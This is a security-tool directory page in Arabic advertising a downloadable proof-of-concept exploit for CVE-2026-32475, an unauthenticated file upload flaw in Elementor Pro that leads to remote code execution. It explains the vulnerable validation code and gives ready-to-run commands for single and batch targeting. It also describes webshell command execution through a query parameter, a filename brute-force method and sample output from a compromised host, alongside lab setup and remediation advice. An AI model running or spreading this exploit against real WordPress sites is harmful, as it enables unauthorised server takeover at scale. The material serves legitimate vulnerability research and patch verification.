Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-32475 — إثبات مفهوم لاستغلال CVE-2026-32475، وهو رفع ملفات تعسفي غير مصادق عليه في Elementor Pro يؤدي إلى تنفيذ أوامر عن بُعد. يتضمن اكتشافًا تلقائيًا، ورفعًا، وتنفيذ أوامر مع التنظيف. | Kitploit
أدوات/GitHubGitHub/sahmsec/cve-2026-32475
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubsahmsec/cve-2026-32475

CVE-2026-32475

إثبات مفهوم لاستغلال CVE-2026-32475، وهو رفع ملفات تعسفي غير مصادق عليه في Elementor Pro يؤدي إلى تنفيذ أوامر عن بُعد. يتضمن اكتشافًا تلقائيًا، ورفعًا، وتنفيذ أوامر مع التنظيف.

عرض المستودع
منذ يوم واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-32475 — Elementor Pro ≤ 4.2.1 رفع ملفات تعسفي غير مصادق → تنفيذ كود عن بُعد

إثبات مفهوم لـ CVE-2026-32475 (CVSS 9.0 حرج، CWE-434): رفع ملفات تعسفي غير مصادق في وحدة نماذج Elementor Pro يؤدي إلى تنفيذ كود عن بُعد. تم إصلاحه في Elementor Pro 4.2.2 (2026-08-19). تم الإبلاغ عنه بواسطة Tin Pham (TF1T) عبر برنامج مكافآت الثغرات Patchstack.

root@kitploit:~
  ███████╗  █████╗  ██╗  ██╗ ███╗   ███╗ ███████╗ ███████╗  ██████╗
  ██╔════╝ ██╔══██╗ ██║  ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
  ███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗   ██║
  ╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝   ██║
  ███████║ ██║  ██║ ██║  ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
  ╚══════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚═╝     ╚═╝ ╚══════╝ ╚══════╝  ╚═════╝

⚠️ إخلاء مسؤولية قانوني

تم توفير إثبات المفهوم هذا لأغراض البحث الأمني المصرح به والتعليم والاختبار الدفاعي فقط.

  • يجب أن تمتلك النظام المستهدف أو أن يكون لديك إذن كتابي صريح من مالك النظام قبل تشغيل هذه الأداة ضده.
  • الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني في معظم الدول (على سبيل المثال، قانون الاحتيال وإساءة استخدام الكمبيوتر في الولايات المتحدة، وقانون إساءة استخدام الكمبيوتر في المملكة المتحدة، وقوانين مماثلة في جميع أنحاء العالم) وقد يؤدي إلى عقوبات جنائية ومدنية.
  • يتحمل المؤلفون والمساهمون عن أي إساءة استخدام أو ضرر أو عواقب قانونية ناشئة عن استخدام هذا الكود.
عدم تحمل أي مسؤولية
  • باستخدامك لهذا البرنامج فإنك توافق على استخدامه بمسؤولية ووفقًا لجميع القوانين المعمول بها.
  • ما هي الثغرة

    يعالج حقل رفع الملفات في نماذج Elementor Pro الإدخالات المرفوعة في حلقتين منفصلتين بدلالات مختلفة (modules/forms/fields/upload.php):

    root@kitploit:~
    // validation()
    foreach ( $files[$id] as $index => $file ) {
        if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
            return;                    // <-- ينهي الطريقة بأكملها
        }
        // is_file_type_valid() ...    // لا يتم الوصول إليه أبدًا للإدخال #2
    }
    
    // process_field()
    foreach ( $files[$id] as $index => $file ) {
        if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
            continue;                  // <-- يتخطى هذا الإدخال فقط
        }
        $filename = uniqid() . '.' . $file_extension;   // امتداد يتحكم فيه المهاجم
        move_uploaded_file( $file['tmp_name'], $new_file );
    }
    

    إرسال جزأين من الملفات لنفس حقل الرفع — جزء أول فارغ (filename="" → UPLOAD_ERR_NO_FILE) متبوعًا بحمولة .php — يجعل validation() يعود قبل أن تصل قائمة الحظر الخاصة بالامتدادات إلى الحمولة، بينما لا يزال process_field() ينقلها إلى wp-content/uploads/elementor/forms/<uniqid()>.php، وهو دليل ويب عام. طلب هذا الرابط مباشرة = تنفيذ كود عن بُعد.

    يتم التعامل مع الرفع عبر POST /wp-admin/admin-ajax.php (action=elementor_pro_forms_send_form) بدون مصادقة وبدون nonce. تكون post_id وform_id واسم حقل الرفع مرئية في HTML الصفحة العامة، لذا فإن الهجوم بأكمله غير مصادق.

    المتطلبات

    الهدف:

    • Elementor Pro ≤ 4.2.1 (جميع الإصدارات الأقدم متأثرة)
    • صفحة منشورة واحدة على الأقل تحتوي على أداة نموذج مع حقل رفع ملفات
    • يجب ألا يكون حقل الرفع محددًا كحقل إلزامي (الحالة الافتراضية)
    • لا يوجد CAPTCHA على النموذج (reCAPTCHA/turnstile يمنع الإرسال غير المصادق)
    • يجب أن ينفذ دليل uploads ملفات PHP (الافتراضي على معظم استضافات Apache/cPanel؛ محظور على بعض إعدادات nginx المحصنة)

    المهاجم:

    • Python 3.9+ (المكتبة القياسية فقط — لا تبعيات)
    • وصول شبكي إلى الهدف

    الاستخدام

    هدف واحد (يكتشف تلقائيًا صفحة النموذج عبر sitemap/الصفحة الرئيسية):

    root@kitploit:~
    python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
    

    صفحة نموذج صريحة:

    root@kitploit:~
    python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
    

    وضع الدفعات (sites.txt: موقع واحد لكل سطر — base_url أو base_url page_url):

    root@kitploit:~
    python script.py --list sites.txt --command "id" --cleanup --out results.json
    

    تنسيق قائمة JSON:

    root@kitploit:~
    [{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
    

    تنفيذ أمر على قشرة مرفوعة بالفعل:

    root@kitploit:~
    python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
    

    الخيارات الرئيسية

    Flagالافتراضيالمعنى
    --url-عنوان URL الأساسي لهدف واحد
    --list-ملف قائمة وضع الدفعات
    --page-url--urlالصفحة التي تحتوي على النموذج
    --commandid; hostname; uname -aالأمر الذي سيتم تشغيله عبر القشرة
    --cleanupoffحذف القشرة تلقائيًا بعد الاختبار
    --field k=v-تجاوز حقل نموذج معبأ تلقائيًا (قابل للتكرار)
    --tail0.3ثوانٍ قبل وقت الرفع المقدر للمسح الدقيق
    --step-fine1خطوة المسح الدقيق بالميكروثانية
    --full-secondoffفرض البحث الشامل لثانية uniqid الكاملة (يتغلب على انحراف الساعة)
    --attempts1محاولات الرفع+المسح (اسم ملف عشوائي جديد في كل مرة)
    --max-probes600000ميزانية طلبات المسح لكل محاولة
    --workers50خيوط المسح المتوازية
    --insecureoffتجاهل أخطاء TLS (أهداف بشهادات ذاتية التوقيع)
    --out file.json-كتابة التقرير بصيغة JSON

    كيف تعمل الأداة

    1. الاكتشاف — يجلب صفحة الهدف (أو يزحف عبر sitemap وروابط الصفحة الرئيسية، بحد أقصى 20 صفحة) للعثور على نموذج يحتوي على حقل رفع ملفات.
    2. التجميع — يستخرج post_id وform_id واسم حقل الرفع وكل حقل نموذج آخر؛ يملأ تلقائيًا جميع الحقول بقيم معقولة بحيث تجتاز الحقول الإلزامية التحقق (تجاوز عبر --field).
    3. الرفع — يرسل POST متعدد الأجزاء من جزأين إلى admin-ajax.php. ملاحظة: success:false مع كائن errors فارغ لا يزال يُعتبر مرفوعًا، لأن إجراء البريد الإلكتروني الافتراضي يرمي خطأً بعد نقل الملف عندما يفشل wp_mail(). فقط رفض حقل الرفع نفسه (نوع الملف غير مسموح به) يُعتبر محظورًا.
    4. استعادة اسم الملف — uniqid() = 8 أرقام سداسية عشرية للثواني + 5 أرقام سداسية عشرية للميكروثواني. تأتي الثواني من رأس Date في الاستجابة؛ يتم تقدير الجزء الفرعي للثانية من (t1 - date_epoch) % 1 (دقيق عندما تكون ساعات المهاجم والخادم متقاربة). يقوم مسبار keep-alive (أسرع بحوالي 30 مرة من طلب واحد لكل اتصال) بمسح نافذة النقل بدقة ميكروثانية؛ --full-second يفرض البحث الشامل للثانية الكاملة عند انحراف الساعات.
    5. التنفيذ — GET <shell>?c=<command> يشغل الأمر؛ --cleanup يحذف القشرة عبر ?x=1.

    حالات النتائج

    الحالةالمعنى
    vulnerableتم رفع القشرة وتنفيذ الأمر — قم بالتحديث الآن
    blockedتم رفض حقل الرفع (تم التحديث إلى 4.2.2+، حقل إلزامي، WAF، captcha)
    uploaded_no_execتم نقل الملف ولكن لم يتم استعادة اسم الملف (أعد المحاولة مع --full-second)
    no_formلم يتم العثور على نموذج ضعيف على الهدف
    errorخطأ اتصال/شبكة

    إعادة إنتاج المختبر

    docker-compose.yml + setup_form_page.php يعيدان إنتاج الهدف الضعيف:

    root@kitploit:~
    docker compose up -d
    docker compose run --rm wpcli wp core install \
        --url=http://localhost:8090 --title="Lab" --skip-email \
        --admin_user=admin --admin_password=admin123! [email protected]
    docker compose run --rm wpcli wp plugin install elementor --activate
    # ضع elementor-pro.zip الذي حصلت عليه قانونيًا (<= 4.2.1) في دليل المشروع، ثم:
    docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
    docker compose run --rm wpcli wp plugin activate elementor-pro
    docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
    docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
    
    python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
    

    مخرجات موثقة

    root@kitploit:~
    [+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
    [*] Running command: uname -a
    \nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
    [*] Cleaning up (deleting webshell)...
        rm
    

    المراجع

    • استشارة Patchstack
    • إدخال NVD
    • سجل تغييرات Elementor Pro (4.2.2)

    المعالجة

    قم بتحديث Elementor Pro إلى 4.2.2+. التحديث يسد الثغرة ولكنه لا يزيل القشريات التي تم رفعها بالفعل — قم بتدقيق wp-content/uploads/elementor/forms/ بحثًا عن ملفات .php غير مرغوب فيها.


    للاستخدام في البحث الأمني المصرح به والمختبر فقط.

    تنزيل الأداة